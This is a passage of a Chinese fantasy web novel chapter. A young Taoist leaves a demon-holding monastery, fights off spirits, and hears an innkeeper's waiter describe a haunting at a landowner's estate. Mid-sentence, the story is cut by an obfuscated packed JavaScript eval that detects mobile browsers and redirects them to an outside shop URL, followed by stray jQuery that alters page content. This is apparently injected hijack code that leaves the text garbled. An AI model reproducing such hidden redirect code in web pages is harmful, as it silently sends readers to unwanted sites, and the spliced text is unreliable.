长剑搁在庙门边的朱红门框旁,赭褐色的剑穗划过半圆,在鞘边悠悠晃动。门虚掩着,使我无需与殿内泥塑神像直面相对,一放一退之间,庙门在眼前渐渐收窄。
夜色还未褪尽,残余的灯火朦朦胧胧地勾勒出建筑的轮廓,它们都被我留在身后,黯成一片,愈来愈远。
当然,总有些别的东西是不肯轻易被抛下的。
这般不知羞耻、恼人又厚脸皮的,自然不是人,而是那些被做成各种形态的妖物邪祟。
藏书阁的书也不是白读的,一些异常之处,按书中所载去印证,竟活灵活现。
在其中待得久了,虽无人明说,却也知神、人、妖三道,原来同栖于这一观之中。
澄心观不单是开宗明义、教授弟子的学堂,也是一处杀鸡儆猴、以儆效尤的狱所,教化与镇压均系在一处。
无数妖魔鬼怪被拘在壁画里、镇在神座下、压在荷塘底,刑期不定,亦有不少被拿来当作教习之具,最终殒命观中。
斩妖剑掉落的那日,廊下荷塘里的水声响得恼人,哗哗啦啦闹了半夜也不停歇。想来斩妖剑于此地,亦是一件不可或缺的镇器。
忽然,竹炮炸裂般的赫赫笑声在静夜中响起,锥子般刺人,暗中窥伺的东西按捺不住,如同嗅到腥味的恶狼,凑到我跟前来。
它们不敢在门前造次,但我此刻已迈出观门,这些垂涎欲滴的家伙们便伺机而上,贪婪的触须黏腻湿润,只差半寸便要沾上我的眼球,顺着眼睑流淌下来。
让这些东西近身,自有我的一番打算,需知《伏魔录》上虽有讲解图例,但总有遗漏处,今日有机会瞧见实物,定要细细观摩一番。
在我看得真切后,略一思考,便朝黑影最浓处凌空画出一个圈。
那圈泛着惨白微光,圆环般徐徐扩大,边缘灼烧烫穿了蜗牛触须似的东西,油脂似的躯体熔化了,淌在地上,却未死透,一块又一块,重新聚拢,摇摇晃晃地跌进沸腾的莲池里。
莲池内传来数不清的惨叫,我未加理会,径直从残留的黑影上踏了过去。
典籍中提到这类东西叫作“缚魂”,生前为祸四方,死后被修士剥去肉身,养在器物中消磨凶性,以彼此互相压制,达到“以镇养镇”之效。
比起直接魂飞魄散,这类手段算留有一线余地,白日阳气充足时,它们只能蛰伏阵中,到了晚上便有些蠢蠢欲动。
即便被镇压在此,邪崇没了肉身也肯不安分,可见在没被捉拿前是多么不遗余力地害人。
我想到一半,脚下却生出点异样感觉,低头看去,一缕被打散的阴影缠在脚边,不依不饶地绕上脚踝。
我低头注视,阴影非但不走还发出细细弱弱的声。
“可怜~”
用的是旦角登台前开嗓的调子,在晚上尖尖一唱,顿时鸡皮疙瘩都起来。
它弯曲、缭绕、盘动,蠕蠕而行,浑然没筋骨的样子,裹在我脚踝上,无力又纠缠。
“你又逃了,小~可~怜~”,阴影抬起身来,见我面无表情就又唱了一遍,那顶上的一截随着音调起伏扭来摆去,十分诡诈。
是没见过的种类,我皱了皱眉。
它分出极细长的一支,充作不成形的手掌朝我招摇,掌心又裂开一道嘴口,黑唇微张地朝我努了努,黝黑分叉的舌头蹿出口腔,想舔上脸来。
我当即脚步一顿,猛地抽腿,将这截胡言乱语的缚灵踢飞出去。
滚荷塘里待着吧,辣眼的玩意儿。
踹毕,又将鞋底在地面狠狠剐蹭两下,心情才好些。
布鞋在青石板道上嗒嗒作响,背上背着早已收拾好的细软,包里放着辨位的司南、观测气脉风水的罗盘,以及几吊铜钱、一沓黄符纸笔。
靠这些,做个游方道士应不成问题。我打算如那沙弥所说,去当一名侠士,云游四方,餐风饮露,也好消散心中郁结,忘了那烦人臆想,重新做个气贯长虹、潇洒快意之人。
唇角不由微微扬起,夜晚,天无星月,空气格外清冽,脚下泥土踏实可信,前路一片坦荡光明。
林间走动间,草木簌簌作响,一道漆黑细影,远远缀上了那步履轻快的身影。
*
当我走到城南街市时,晨光微露,街上尚不喧闹,开门的店家还少。我便寻了一间客栈投宿,店小二正在堂上打哈欠,甫一推门,风铃乍响,他顿时精神起来:“客官打尖还是住店?”
“住店。”我随手掏出三十五文钱。离观前估算过物价,攒了几个月的工钱,在这来福客栈住上一个月也不成问题。
找客栈不只为住,客栈人来人往,最是聚集消息、流传市井八卦之地。待到白日开堂,还会有说书先生前来讲故事。若想打听城中异事,还有哪里比客栈更合适。
匆匆进房洗漱后,我下楼寻了窗边小案坐下,用过早点,便见说书先生来到台前,清嗓啜茶,待那些提鸟笼、盘手串的闲人聚拢,便又一叩醒木,开讲新篇。
在说书人开讲前,我招手唤来正斟茶的小二,点了一壶茶、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051301|184631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一碟茶干,与他闲聊。
“小二兄弟,我这人生性好奇,想打听打听,最近周遭可有什么不平事,或是需要捉鬼收妖的活计?”
小二打量我的打扮,又听我问起神鬼之事,顿时会意,张口便道:“道长,看您不是本地人,也是来捉妖的?”
我笑了笑:“称不上道长,略懂修行,下山历练罢了。不知可有值得一试之事?入世修行,总需个机缘。”
“嗨,咱不懂您方外人的潇洒。推荐谈不上,奇事倒有几桩,说给您听听也不妨——来这儿喝茶的,谁不好奇呢?最近最奇的,得数张家庄买烧饼那事。”
“哦?买烧饼?是吃坏了肚子,还是饼里有毒闹出了事?”
“您这可想岔了,”小二压低声音,“我既提起,自有灵异门道在里头。平常吃坏肚子算什么?道长既要寻个营生,我也不敢瞎指路。如今张员外为这桩奇事,四处找人解决,前后请了四五个道长,都没摆平。您若敢试,不妨一去,赏金足有十两银子呢。”
“小二兄弟,你细细说。若真成了,定来请你吃酒。”
“嘿嘿,道长客气。”小二凑近些,“这张家庄的张老员外,早年经商,攒了些银两便广置田宅,买了三四十亩良田,雇人耕种,这些年渐成殷实之家。可有一点不顺:张老太爷子息不旺,前后娶了几房,只得一个独子,宝贝得跟眼珠似的。这独子名叫张怀集,倒没大恶,只是好吃懒做,游手好闲。他爹见他不成才,也不指望他光大门户,便早早给他娶了媳妇,只盼早点抱孙子,儿子废了,孙子总能指望吧?唉,可偏偏就这媳妇和孙子出了事……”
我给小二递了杯茶,让他润润嗓子,他笑着接过饮了一口,更是滔滔不绝:
“张家儿媳过门不久,回娘家探亲路上,被一伙山贼掳了去。山贼没伤她,只送了字条要二十两银子赎人。张怀集行事混账,两人定亲前便有私情,因此媳妇回门时已身怀六甲。二十两赎两人,这山贼也不算太恶,张老太爷虽肉疼,也还出得起。坏就坏在……那媳妇性子刚烈,受不得贼人羞辱,竟仗着一股莽劲,半夜从寨里逃了出去。山贼找不着人,赎金到了却交不出,张老太爷急得花钱托人去找,最后只在一片竹林里找到儿媳的衣裳首饰,和一个裹在襁褓里的婴孩,取名张其远。”
“那如今这十两赏金,是要寻人?”
“是,也不是。”小二声音更低了,“那张夫人其实回来了……只是回来得不大对劲。她是先回的家,再告诉众人,孩子被她生在竹林里了。”